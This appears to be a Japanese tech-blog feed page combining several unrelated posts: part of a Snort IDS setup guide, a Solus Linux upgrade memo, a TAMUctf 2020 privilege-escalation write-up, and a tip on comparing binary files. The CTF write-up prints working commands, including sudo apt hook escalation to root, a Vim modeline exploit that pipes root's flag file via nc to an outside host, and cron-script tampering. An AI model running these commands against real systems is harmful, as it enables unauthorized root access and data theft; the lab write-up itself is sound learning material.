< include $RULE_PATH/x11.rules
---
> include $RULE_PATH/community.rules

他ホスト宛のパケットを受け取るためにプロミスキャスモードの設定を行います。インターフェースのファイルにPROMISCの設定値を追記します。

  • ネットワークの設定
    # vi /etc/sysconfig/network-scripts/ifcfg-enp0s8
PROMISC=yes

Snortの動作確認

検証用のルールを作成し、動作確認を行います。
本記事では例としてping検知を行います。

ルールファイルの編集

ルールファイルは/etc/snort/rules配下に格納します。
ルールファイルについて説明します。

ルールファイルのシグネチャはルールヘッダと、ルールボディで構成されています。

ルールヘッダ:ルールアクセション/プロトコル/IPアドレス/ポート/方向演算子/IPアドレス/ポート/
ルールボディ:オプション

ルールアクションには以下の種類があります。

種別 概要
alert ルールにマッチしたパケットをログに出力し、警告を出力
log ルールにマッチしたパケットをログに出力
pass ルールにマッチしたパケットを無視
acitive ルールにマッチしたパケットについて警告を出力し、対応するdynamicルールのアクションを実行
dynamic 該当するパケットをログに出力
  • local.rulesの編集
    # vi /etc/snort/rules/local.rules
alert icmp any any -> any any (msg: "ICMP Packet detected"; sid:999999;)

ルール編集後はsnortの再起動が必要になります。

Snort起動確認

デフォルトの起動スクリプトの中でオプション-Dが指定されいているため、起動スクリプトを実行した場合はデーモンモードで起動します。

  • 起動
    # /etc/init.d/snortd start

起動時にエラーが出ないことをシスログを見て確認します。

正常に起動している場合は、以下の様なプロセスが確認できます。

[root@localhost snort-2.9.16]# ps aux | grep snort | grep -v grep
snort    11481  0.0  6.3 164828 64456 ?        Ssl  03:03   0:07 /usr/sbin/snort -A fast -b -d -D -i enp0s8 -u snort -g snort -c /etc/snort/snort.conf -l /var/log/snort

また、以下の様にスニファとして起動することもできます。
スニファとして起動する場合は処理に時間がかかるため、基本的に動作確認以外では使用することはないと思います。

# snort -v

Running in packet dump mode

        --== Initializing Snort ==--
Initializing Output Plugins!
pcap DAQ configured to passive.
Acquiring network traffic from "enp0s3".
Decoding Ethernet

        --== Initialization Complete ==--

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.16 GRE (Build 118) 
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2020 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.9.1 (with TPACKET_V3)
           Using PCRE version: 8.32 2012-11-30
           Using ZLIB version: 1.2.7

Commencing packet processing (pid=17768)

ルールファイル(local.rules)の検証

別の端末からpingを実行します。
以下のログを見るとICMPのパケットが検出されたことが確認できます。

  • ログ確認
    # tail -f /var/log/snort/alert
04/22-03:04:27.545270  [**] [1:999999:0] ICMP Packet detected [**] [Priority: 0] {ICMP} 192.168.1.10 -> 192.168.1.16

おわりに

Snotはインストールも一苦労ですが、実際に運用する場合はルールセットのチューニングが発生したり、膨大のログから異常を確認するなどの作業が発生します。

ルールファイルの自動更新ができるOinkmasterや、Snortが出力したログファイルをHTMLファイルにしてWebブラウザ上で確認できるようにすることができるSnortSnarfというツールがあります。

余談ですが、Snortは鼻を鳴らすという意味があります。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Solus Linux upgrade problem

Solus 4.1 upgrade の際の備忘録

SolusソフトウェアーセンターでのUpgradeの際
*vlc
*Braveブラウザー
*K3b
*Docbook-xml 以上の4個がUpgradeに反応せず。
一旦削除の上、Terminalで「 sudo eopkg upgrade」
完了の後、再インストール
面倒なので Braveブラウザーは使用を断念 Operaに入れ替える。
スクリーンショット 2020-04-30 07-55-16.jpg
Solus のソフトウェアーセンターは使いにくい。
勿論、ネット環境にもよりますが・・

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

userからrootへ ~昇格の途を探る~(TAMUctf 2020: Writeup)

Linux Privilege Escalation

特定のマシンでArbitary Code Executionがuser権限でできる時、なんとかしてroot権限でのコマンド実行可能にすることをPrivilege Escalationという。具体的な方法は多岐に渡るがこのような記事にあるように特定のマシン内の情報(OS, command, 権限, etc...)をひたすらに集めて脆弱性のある部分を探し、それに適した攻撃法を調べ、それを適用するのが基本的な方針となる。なんでもありな分それぞれの攻撃や脆弱性の理解には難しい部分がありつつも抽象化すると手順は意外とシンプルになる(らざるを得ない)。

TAMUctf 2020で自分が解いた範囲でLinux Privilege Executionの問題が2つあったのでこの記事にまとめる。

実践(Writeup)

Linux Privilege Escalationにはまず user 権限で対象のマシンでのコマンドが実行できる必要がある。
Obituaryでは以前記事にしたVimCVE-2019-12735脆弱性を、MY FIRST BLOGではnostromoCVE-2019-16278脆弱性を利用してRCEが実行できる(PoCはこれを利用した)。以下何を実行しているのか分かりやすいようにそれぞれのPoCを利用した上でマシン上で実行されるコマンドとその結果についてのみ考える。RCEについてのPoC利用部分は省略する。

TAMUctf: Obituary-2

問題環境 TAMUctf 2020: Obituary

Hey, shoot me over latest version of the code. I have a simple nc session up, just pass it over when you're ready.
You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!

NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

攻撃対象マシン(172.30.0.2)
$ id
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)

$ ls ~/
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt

$ cat ~/note_to_self.txt
Apparently my packages are out of date. ITSEC is really throwing a fit about me
needing to update since red team popped my box.

I'm sending them my installed packages. I have no idea how these guys got root
on my machine, my password is like 60 characters long. The only thing I have
as nopasswd is apt, which I just use for updates anyway.

$ cat ~/manually_installed_packages.txt
libgpm2
libtinfo5
lsb-base
netcat
python3
screen
socat
sudo
vim
vim-common
vim-runtime
wget
xxd

以上から得られるヒント

The only thing I have as nopasswd is apt, which I just use for updates anyway.

aptの実行がパスワードなしで実行できるようになっている模様。
ヒントがなかった場合でも以下から確認できる。

攻撃対象マシン(172.30.0.2)
$ sudo -l
Matching Defaults entries for mwazowski on 752d3ba120c0:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mwazowski may run the following commands on 752d3ba120c0:
    (root) NOPASSWD: /usr/bin/apt

apt を経由したLinux Privilege Escalation

apt privilege escalation で検索すると以下のような形で実行の前後にhookしてコマンドを挟むことでaptの実行権限(すなわちroot)で挟んだコマンドの実行が可能になるようだ。(参考: Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration)

$ sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash
$ sudo apt-get update -o APT::Update::Post-Invoke::= /bin/bash
$ sudo apt-get update -o DPkg::Pre-Invoke::= /bin/bash

今回もこれを利用しようと考えたが、対象環境はインターネットに繋がっていない為apt udpate がhookコマンドの実行前にError終了してしまう。
上の例のオプションの指定の仕方を見ると三つ目の方法ならupdate に限らずdpkg周辺のコマンド実行時にhookを仕込めると踏み調べてみると予想通りだった。
インターネットアクセスが必要なさそうなpurgeで上記の~/manually_installed_packages.txtに記載されているpackageを指定すると無事hookしたコマンドの実行が確認できた(がpurgeも成功してしまってこの攻撃の根幹のセッションを構成しているnetcat等を指定したらその後の攻撃が出来なくなっていたかもしれない)。

攻撃の構築

以上の調査から最終的に以下のようにして秘匿情報(/root/flag.txt)を取得した。

PoC.txt(CVE-2019-12735攻撃スクリプト)
:!sudo apt purge -y -o Dpkg::Pre-Invoke::="cat /root/flag.txt;false" xxd 2>&1 | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=
localマシン(172.30.0.14)
$ nc 172.30.0.2 4321 < PoC.txt

(事前に起動済み)$ nc -vkl 4444 
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Reading package lists...
Building dependency tree...
Reading state information...
The following packages were automatically installed and are no longer required:
  libpcre2-8-0 libpsl5 publicsuffix
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  vim* vim-common* xxd*
gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.
After this operation, 3400 kB disk space will be freed.
E: Problem executing scripts DPkg::Pre-Invoke 'cat /root/flag.txt;false'
E: Sub-process returned an error code

/root/flag.txtの内容は上記の出力のgigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}部分となる。(CVE-2019-12735のPoCについては以前の記事に詳細あり)
今回の警句は
y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r -> you would think people would know better.
~/note_to_self.txtに書いてあった以下の部分を皮肉ったものだった。面白い。

I have no idea how these guys got root
on my machine, my password is like 60 characters long.

TAMUctf: MY FIRST BLOG

問題環境 TAMUctf 2020: MY FIRST BLOG

Here is a link to my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure.

対象の構成

172.30.0.2にHugoを利用して生成された静的サイトがnostromo サーバーを利用して設置されている。

$ nmap -A 172.30.0.2              
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:07 JST
Nmap scan report for 172.30.0.2
Host is up (0.14s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nostromo 1.9.6
|_http-generator: Hugo 0.54.0
|_http-server-header: nostromo 1.9.6
|_http-title: My first blog!

調査(Enumeration)

今回は先ほどと違いLinux Privilege Escalationに利用出来る候補のファイルがあるわけではないので可能性のあるものを片っ端から列挙していく。
調べるとEnumeration用scriptはいくつかヒットするが、どれも得られる情報量に大差なさそうだったのであまり環境に左右されなそうなシェルスクリプトで用意されているLinEnumを利用した。
対象マシンはインターネットアクセスは無いがインターネットアクセスがあり、/tmpへのファイルの配置が可能だったのでncを利用して送られてきたものを/tmp/LinEnum.shとして書き出すようにサーバーを立て、scriptを送り込み確認した。

LinEnum.shの出力には大量の情報が列挙される。cronの部分で/usr/bin/healthcheckrootで走っていることがわかる。

対象マシン
$ sh /tmp/LinEnum.sh

...

-e ### JOBS/TASKS ##########################################
-e [-] Cron jobs:
-rw-r--r-- 1 root root  758 Mar 20 08:06 /etc/crontab

/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.daily:
total 24
drwxr-xr-x 1 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x 1 root root 1478 Apr 20  2018 apt-compat
-rwxr-xr-x 1 root root 1176 Nov  2  2017 dpkg
-rwxr-xr-x 1 root root  249 Jan 25  2018 passwd

/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder

/etc/cron.weekly:
total 12
drwxr-xr-x 2 root root 4096 Mar 20 08:06 .
drwxr-xr-x 1 root root 4096 Mar 21 04:01 ..
-rw-r--r-- 1 root root  102 Nov 16  2017 .placeholder
-e 

-e [-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/bin/healthcheck
-e 

...

さらに/usr/bin/healthchekはuser-writableであることがわかる。

対象マシン
$ ls -la /usr/bin/healthcheck
-rwxrwxrwx 1 root root 98 Mar 19 18:41 /usr/bin/healthcheck

攻撃の構築

以上から/usr/bin/healthcheckにコマンドを追記すればcron経由でrootで実行されることがわかったので以下のように/rootを読めるように/tmpにコピー。

/usr/bin/healthcheck(対象マシン)
#!/bin/bash
nc -z localhost 80
if [ $? == 1 ]; then
        echo "nhttpd is dead, restarting."
        nhttpd
fi
#以下を追記
cp -r /root /tmp/root
chmod -R 777 /tmp/root

コピーしてきたディレクトリに欲しい秘匿情報(flag.txt)が取得できた。

(対象マシン)
$ ls -la /tmp/root
drwxrwxrwx 3 root root 4096 Mar 21 06:11 .
drwxrwxrwt 1 root root 4096 Mar 21 06:17 ..
-rwxrwxrwx 1 root root 3106 Mar 21 06:10 .bashrc
-rwxrwxrwx 1 root root  148 Mar 21 06:10 .profile
-rwxrwxrwx 1 root root   29 Mar 21 06:10 flag.txt

$ cat /tmp/root/flag.txt
gigem{l1m17_y0ur_p3rm15510n5}

今回の警句は
l1m17_y0ur_p3rm15510n5 -> limit your permission
/usr/bin/healthcheckの権限を適切に(せめてnon-writableに)すれば良かったということだろう。

感想

Linux Privilege EscalationはこのTAMUctfで初めてある程度体系的に調べ実際に以上2つの構成で攻撃を試みたが、misconfigurationなものが一つでも存在すれば思ったより簡単に達成できてしまうことがわかった。調べた範囲では典型的なLinux Privilege Executionの例にはKernel exploitやSUID commandを利用したもの等もあったので今度挑戦してみようと思う。

参考

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

バイナリファイル(画像ファイルなど)のdiffをとる

テキストファイルの差分をとるにはdiffですが
画像ファイルなどのバイナリファイルに差がないかを調べるには
cmpを使えばよいようです。

cmp a.jpg  b.jpg 
a.jpg b.jpg 異なります: バイト 23、行 1
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む